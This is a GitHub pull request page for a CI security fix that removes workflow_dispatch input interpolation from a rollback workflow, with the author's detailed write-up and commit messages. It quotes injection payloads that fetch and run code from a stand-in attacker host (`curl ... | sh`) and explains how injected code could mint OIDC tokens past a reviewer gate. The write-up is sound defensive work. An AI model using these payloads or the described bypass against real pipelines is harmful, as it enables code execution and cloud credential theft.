Repository navigation
fix(ci): stop interpolating dispatch inputs into rollback run blocks - #1641
Merged
Merged
Conversation
`.github/workflows/rollback.yml` substituted the free-text `reason` and
`image_tag` workflow_dispatch inputs directly into `run:` blocks. GitHub
expands `${{ inputs.* }}` into the shell source before bash parses it, so
a reason of `$(curl -s https://attacker/x | sh)` executed as code. The
audit-record step was the worst case: an unquoted `cat <<EOF` heredoc, in
which command substitution ran inside the JSON body.
The workflow also declared `permissions: id-token: write` at workflow
level, so `validate`, `verify-image` and `summary` held it despite having
no `environment:` binding. Because the AWS deploy role's trust policy
accepts `repo:<org/repo>:ref:refs/heads/main` independently of the
`environment:*` subjects, injected code in one of those jobs could mint an
OIDC token and assume the deploy role without passing the reviewer gate
that protects the `rollback-*` jobs.
Changes:
- Pass every input through `env:` and reference the quoted shell variable,
so values are data rather than code. No `${{ }}` remains in any `run:`
block in this file.
- Build the audit record with `jq -n --arg` instead of a heredoc, so every
value is JSON-escaped and no command substitution is possible.
- Drop `id-token: write` to job level, granting it only to the four
environment-bound `rollback-*` jobs. `validate` and `summary` are now
`contents: read`.
- Delete the `verify-image` job, which authenticated to a cloud provider
with no environment binding, and inline its check into each gated
rollback job.
- Make `image_tag` validation meaningful: the regex now runs against a
shell variable rather than a value already pasted into the script, and
a bad tag fails the job instead of setting an `is_valid` output.
- Fail loud on unset `AWS_ACCOUNT_ID` / `GCP_PROJECT_ID` rather than
building an image URI around an empty string, and add `set -euo
pipefail` to the run blocks.
- Look Azure tags up with `az acr repository show --image` instead of
grepping paginated `show-tags` output through a pipe that `pipefail`
could fail on a match.
- Fold newlines out of `reason` before writing it to the step summary, so
it cannot forge headings or a fake result line in the rendered markdown.
Verified with `actionlint` (with shellcheck available): the pre-change
file exits 1, the updated file exits 0.
Closes #1542
cristim
added
effort/m
Contributor
|
Warning Review limit reachedYou’ve reached a temporary PR review limit under our Fair Usage Limits Policy. Next review available in: 41 minutes Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available. How can I continue?After more reviews become available, a review can be triggered using the To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews. How do review limits work?CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability. For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window. Please refer docs for additional details. Review details⚙️ Run configurationConfiguration used: defaults Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (2)
✨ Finishing Touches🧪 Generate unit tests (beta)
Comment |
Member
Author
|
@coderabbitai review |
Contributor
✅ Action performedReview finished.
|
This was referenced Jul 28, 2026
Member
Author
|
@coderabbitai full review |
Contributor
✅ Action performedFull review finished. Your included review limit is currently reached under our Fair Usage Limits Policy. Your recent PR review activity is in the 95th percentile or higher among CodeRabbit users, so adaptive limits apply. This review may still proceed through usage-based billing if eligible. Your next included review will be available in 54 minutes. |
This was referenced Jul 28, 2026
The workflows README still listed "Verify Image" as one of four rollback jobs. That job no longer exists: it authenticated to a cloud provider while carrying no environment binding, so its check now runs inside each gated rollback job instead. Renumber to three jobs and state the tradeoff, so the next reader does not reinstate a standalone verify job to "fix" the ordering.
Member
Author
|
@coderabbitai full review |
Contributor
✅ Action performedFull review finished. Your included review limit is currently reached under our Fair Usage Limits Policy. Your recent PR review activity is in the 95th percentile or higher among CodeRabbit users, so adaptive limits apply. This review may still proceed through usage-based billing if eligible. Your next included review will be available in 41 minutes. |
cristim
added a commit
that referenced
this pull request
Aug 3, 2026
…estroy workflows (#1674) * fix(ci): bind destroy jobs to an environment and drop blanket id-token `cleanup-staging.yml` and `destroy-fargate-dev.yml` declared `id-token: write` at workflow level and bound no job to a deployment environment. Five `terraform destroy -auto-approve` jobs across AWS, GCP and Azure therefore ran with production deploy credentials and no environment scoping, guarded only by a typed-string confirmation entered by the same person who dispatched the run. Changes: - Grant `id-token: write` per job, only to the five jobs that assume a cloud role. The two `guard` jobs authenticate to nothing and now hold no permissions at all. - Bind the four staging destroy jobs to the `staging` environment and the Fargate dev destroy job to `dev`, so their OIDC subject is `environment:<name>` rather than a bare branch ref. - Enforce `refs/heads/main` in each `guard` job. An OIDC subject is either `ref:refs/heads/<branch>` or `environment:<name>`, never both, so the binding above REPLACES the ref-scoped subject with a ref-agnostic one. Neither `dev` nor `staging` carries a deployment_branch_policy, so without this check the change would have traded a main-only restriction for any-branch access — a widening, on the workflows it is meant to narrow. The check lives in the workflow rather than in the environment's branch policy because `main` is not a protected branch, so a protected-branches policy would match nothing and block every deploy. - Add per-environment Azure federated identity credentials. Azure allows no wildcards and had only `ref:refs/heads/main` and `pull_request` subjects, so an environment-bound job would have failed AADSTS70021 — the breakage recorded in #1648. Defaults to dev and staging only; `prod` is omitted because no Azure job binds to it. The `environment:` binding is NOT a reviewer gate and the comments say so: no environment in this repo has any protection rules, and `staging` does not exist yet, so the first dispatch auto-creates it bare. That is tracked in #1660 and needs a privileged human, not code. `rollback.yml`, also named in the issue, is deliberately untouched — PR #1641 already removes workflow-level `id-token: write` from it. Verified: actionlint (with shellcheck) exit 0 on both workflows; terraform fmt and validate clean; both new variable validations proven to reject duplicate and empty environment names. Refs #1591 * fix(ci): route GCP project id through env in cleanup-staging destroy The Cloud SQL cleanup step interpolated `vars.GCP_PROJECT_ID` directly into its shell source, the last such interpolation in either destroy workflow. #1641 established the rule for rollback.yml: no expression interpolation in any `run:` block, route through `env:` and reference a quoted shell variable. `vars.*` is settable only by a repo admin, so this is hardening rather than a live injection, but the rule is worth holding uniformly on a workflow that runs `terraform destroy -auto-approve`. Also fails loud when the variable is unset. Previously an empty project made `gcloud sql instances list` match nothing, so the step silently skipped the deletion it exists to perform and left the destroy to hit the dependency deadlock it was meant to avoid. actionlint: exit 0. Zero run-block interpolations remain in cleanup-staging.yml, destroy-fargate-dev.yml and rollback.yml. Refs #1591 * fix(ci): correct the destroy workflows' claims about what the ref check binds Adversarial review found the new comments overstating two controls, which is the same defect class #1591 is about: a control that reads as a restriction and does not restrict. 1. The "Restrict to main" step was described as enforcing main-only dispatch. It does not. `workflow_dispatch` runs the workflow file as it exists on the dispatched ref, so anyone who can push a branch can delete the step and still present the `environment:<name>` OIDC subject. Relabelled as defense-in-depth against accidents, explicitly not a security boundary. 2. The comments justified checking the ref in-workflow on the grounds that a deployment branch policy needs `main` to be a protected branch. That is wrong. Environments support `custom_branch_policies` with an explicit branch pattern, which works on an unprotected branch and is evaluated before the job starts and before the token is minted. Naming the wrong reason steered the reader away from the only control that actually holds. Also: - github_environments no longer reads as a complete enumeration. It now names the Azure jobs it knowingly does not cover (rollback.yml's azure-<env>-rollback, database-migration.yml's azure-db-<env>) and says why, cross-referencing #1648, so absence is not misread as "no job uses it". - Live environment state (which environments exist, which have protection rules) is no longer asserted in code comments, only referenced via #1660, so it cannot rot into false reassurance once that issue is fixed. - GCP_PROJECT_ID validated for shape rather than mere non-emptiness; a whitespace-only value previously reached `gcloud --project=`, matched no instance and silently skipped the deletion. - AWS_REGION moved to job level in destroy-fargate-dev.yml. Workflow-level env is resolved before the job's environment is in scope, so an environment-scoped override would have been invisible. The OIDC subject claim itself was independently verified and holds: `sub` is either ref-scoped or environment-scoped, never both, absent a custom sub-claim template, and this repo sets none. Refs #1591
This was referenced Sep 27, 2026
Closed
cristim
added a commit
that referenced
this pull request
Sep 27, 2026
…1641) * fix(ci): stop interpolating dispatch inputs into rollback run blocks `.github/workflows/rollback.yml` substituted the free-text `reason` and `image_tag` workflow_dispatch inputs directly into `run:` blocks. GitHub expands `${{ inputs.* }}` into the shell source before bash parses it, so a reason of `$(curl -s https://attacker/x | sh)` executed as code. The audit-record step was the worst case: an unquoted `cat <<EOF` heredoc, in which command substitution ran inside the JSON body. The workflow also declared `permissions: id-token: write` at workflow level, so `validate`, `verify-image` and `summary` held it despite having no `environment:` binding. Because the AWS deploy role's trust policy accepts `repo:<org/repo>:ref:refs/heads/main` independently of the `environment:*` subjects, injected code in one of those jobs could mint an OIDC token and assume the deploy role without passing the reviewer gate that protects the `rollback-*` jobs. Changes: - Pass every input through `env:` and reference the quoted shell variable, so values are data rather than code. No `${{ }}` remains in any `run:` block in this file. - Build the audit record with `jq -n --arg` instead of a heredoc, so every value is JSON-escaped and no command substitution is possible. - Drop `id-token: write` to job level, granting it only to the four environment-bound `rollback-*` jobs. `validate` and `summary` are now `contents: read`. - Delete the `verify-image` job, which authenticated to a cloud provider with no environment binding, and inline its check into each gated rollback job. - Make `image_tag` validation meaningful: the regex now runs against a shell variable rather than a value already pasted into the script, and a bad tag fails the job instead of setting an `is_valid` output. - Fail loud on unset `AWS_ACCOUNT_ID` / `GCP_PROJECT_ID` rather than building an image URI around an empty string, and add `set -euo pipefail` to the run blocks. - Look Azure tags up with `az acr repository show --image` instead of grepping paginated `show-tags` output through a pipe that `pipefail` could fail on a match. - Fold newlines out of `reason` before writing it to the step summary, so it cannot forge headings or a fake result line in the rendered markdown. Verified with `actionlint` (with shellcheck available): the pre-change file exits 1, the updated file exits 0. Closes #1542 * docs(ci): drop the deleted Verify Image job from the rollback README The workflows README still listed "Verify Image" as one of four rollback jobs. That job no longer exists: it authenticated to a cloud provider while carrying no environment binding, so its check now runs inside each gated rollback job instead. Renumber to three jobs and state the tradeoff, so the next reader does not reinstate a standalone verify job to "fix" the ordering.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Closes #1542
Both claims in the issue were live on current
origin/main(3e9660d)(a) Script injection — confirmed.
${{ inputs.reason }}and${{ inputs.image_tag }}(both free-texttype: stringdispatch inputs) were substituted into the shell source ofrun:blocks before bash parsed them. Theimage_tagregex guard was itself post-interpolation, so it validated nothing.(b) Approval-gate bypass — confirmed, and the mechanism is worse than "no environment on
validate/summary".permissions: id-token: writesat at workflow level, and the deletedverify-imagejob actively calledconfigure-aws-credentials/azure/login/google-github-actions/authwhile having noenvironment:binding. Its OIDC subject wasrepo:<org/repo>:ref:refs/heads/main, whichterraform/environments/aws/ci-cd-permissions/role.tf:29accepts independently of theenvironment:*subjects. So injected code ran in a job that legitimately held production deploy credentials and never touched a reviewer gate.What this PR does and does not fix — read this before trusting the gate
The issue described two controls. Only the first is restored here, and I am not claiming otherwise.
${{ }}remain in anyrun:block (11 before). Verified by parsing the YAML and by executing the real run-blocks against hostile payloads.id-token: writeis now narrowed onto four environment-bound jobs, which is the correct shape. But those environments have no protection rules, so nothing approves anything.The narrowing is still worth doing: it is the precondition for a gate to mean anything, and it removes the ungated-but-credentialed job the exploit relied on. It is simply not, by itself, an approval control.
No environment in this repo has any protection rules, none of the four
<cloud>-<env>-rollbackenvironments exists, and GitHub auto-creates a referenced environment bare on first use. The environments literally namedazure-andgcp-are evidence that auto-create has already fired here, when an${{ inputs.environment }}rendered empty. Filed as #1660.So: the p0 in #1542 — arbitrary code execution reaching production cloud credentials — is dead. The reviewer gate is a separate, previously-unnoticed gap that this PR surfaces rather than closes.
Proof the injection is gone
Before, in
Record rollback(the site the issue calls worst):After:
Reproduced locally with
reason=$(echo RCE > /tmp/marker)against faithful copies of both the heredoc site and theDisplay rollback planif-block: before — marker created in both; after — no marker, the value is printed as literal text and lands in the JSON as a string.Why the new form cannot execute: the value never appears in the script's source text. It arrives as a process environment variable, and
"$REASON"is a quoted parameter expansion — bash performs no further parsing on the result, so metacharacters,$(...)and newlines are all inert data.jq --arglikewise binds the value as a JSON string rather than splicing it into a document.One honesty note on the issue's example payload:
"; curl evil.sh | sh; #works at the heredoc and most other sites, but at theif [ -n "..." ]site the]-terminating form leaves the compound command unparseable, so bash aborts before executing. Command substitution ($(...)) is the vector that works at every site, including that one. The severity is unchanged.A scripted scan confirms zero
${{ }}expressions remain inside anyrun:block in this file. Every other input reference was audited, not justreason.Changes
env:, referenced as a quoted shell variable.jq -n --arginstead of an unquoted heredoc.id-token: writedropped to job level, granted only to the four environment-boundrollback-*jobs;validateandsummaryarecontents: read.verify-imagedeleted (it was the ungated credentialed job); its check inlined into each gated rollback job.image_tagregex now runs against a shell variable, and a bad tag fails the job rather than setting anis_validoutput that a later job had to remember to honour.AWS_ACCOUNT_ID/GCP_PROJECT_IDinstead of building an image URI around an empty string;set -euo pipefailthroughout.az acr repository show --imageinstead of grepping paginatedshow-tagsthrough a pipe (show-tagscan page a valid older tag off the first page, and underpipefailan earlygrep -qexit can SIGPIPEazand fail the check on a match).reasonnewlines folded before writing to$GITHUB_STEP_SUMMARY, which renders as markdown and could otherwise be made to forge a fake "Rollback completed successfully" line. The audit JSON keeps the value verbatim.Verification
actionlint(shellcheck available) on pre-change fileactionlinton updated file${{ }}inside anyrun:blockactwas not run; no dry run is claimed.Why existing scanning missed this
Nothing in this repo parses workflow files for this class. There is no
actionlintorzizmorin CI or in.pre-commit-config.yaml. The Security Scanning job runsgovulncheckandgosec, both Go-source scanners that never open.github/workflows/.trivy-configtargets Terraform/Dockerfile/K8s misconfiguration, not Actions expression injection, and thecheck-yamlhook only proves the YAML parses. Addingactionlintto pre-commit would have caught this at write time — filed as #1646.Deliberately out of scope — all tracked as issues
Every item below is filed, so none of it is lost when this PR merges.
attribute_conditiongap: it constrainsassertion.repositoryandassertion.refbut neversub, so unlike AWS/Azure a GCP token mints for any environment name, including an auto-created bare one.deploy-aws-lambda.ymlhad the identical shape viagithub.event.release.tag_namein an ungatedpreparejob. Fixed in PR #1657.database-migration.ymlinterpolatesinputs.stepsraw behind a guard that validates nothing. Latent, not demonstrated — the injection sits in an environment-bound job and reachability depends ontype: numberenforcement I could not confirm.<cloud>-<env>-rollbackenvironments absent from the trust-policysuballowlists, so AWS and Azure rollback cannot authenticate at all. Pre-existing, not introduced here — the original carried the same bindings. Azure is worse than AWS:sp.tf:37,48allowlists onlyref:refs/heads/mainandpull_request, noenvironment:*subject at all.id-token: writeto ungated jobs;deploy-gcpanddeploy-azurebuild-and-deployactually authenticate while ungated. No injectable value, so hardening not exploit.describe-imageswith no--registry-id) while building the URI fromvars.AWS_ACCOUNT_ID. If those diverge, "image exists" is asserted against the wrong registry. One-line fix.actionlint/zizmorin CI or pre-commit — the systemic reason this whole class was invisible. 8 workflow files currently failactionlint.Two points noted on existing issues rather than duplicated:
repo:<org/repo>:ref:refs/heads/main. No job in this workflow is ungated-and-credentialed any more, so the bypass is closed here. Removing that subject repo-wide would breakdeploy-gcp,cleanup-staginganddestroy-fargate-dev— commented on sec(ci): destroy and rollback workflows have no environment binding, so no reviewer gate applies #1591.verify-imagevar-interpolation cleanup; this PR deletes that job outright, commented there.Accepted tradeoff
Image existence is now verified inside each gated rollback job instead of in a standalone job, so a rollback to a nonexistent tag fails after the environment approval rather than before it. That is deliberate: the standalone job authenticated to a cloud provider with no environment binding, which was the ungated-but-credentialed shape the exploit depended on. Documented in the workflow at
:165-169and now in.github/workflows/README.md, which still listed the deleted "Verify Image" as one of four jobs.Sweep coverage
All 16 files in
.github/workflows/were swept, not just the one being fixed:inputs.*,github.event.*,github.head_ref,github.ref_name,github.actor, and the dangerous triggerspull_request_target/issue_comment/workflow_run;actionlintwithshellcheckpresent;Results: no
pull_request_target,issue_commentorworkflow_runtrigger exists anywhere in this repo, so the untrusted-fork vector is absent.github.actorreachesrun:blocks in the four deploy workflows, but GitHub usernames are[A-Za-z0-9-]and are not injectable. The three genuine findings are #1542 (this PR), #1649 and #1647.What was not done: I did not read every
run:block of every workflow line by line — files with no grep hit and a cleanactionlintwere not manually reviewed.Files outside
.github/workflows/rollback.ymlare untouched, so this does not overlap #1543 / #1544 / #1545.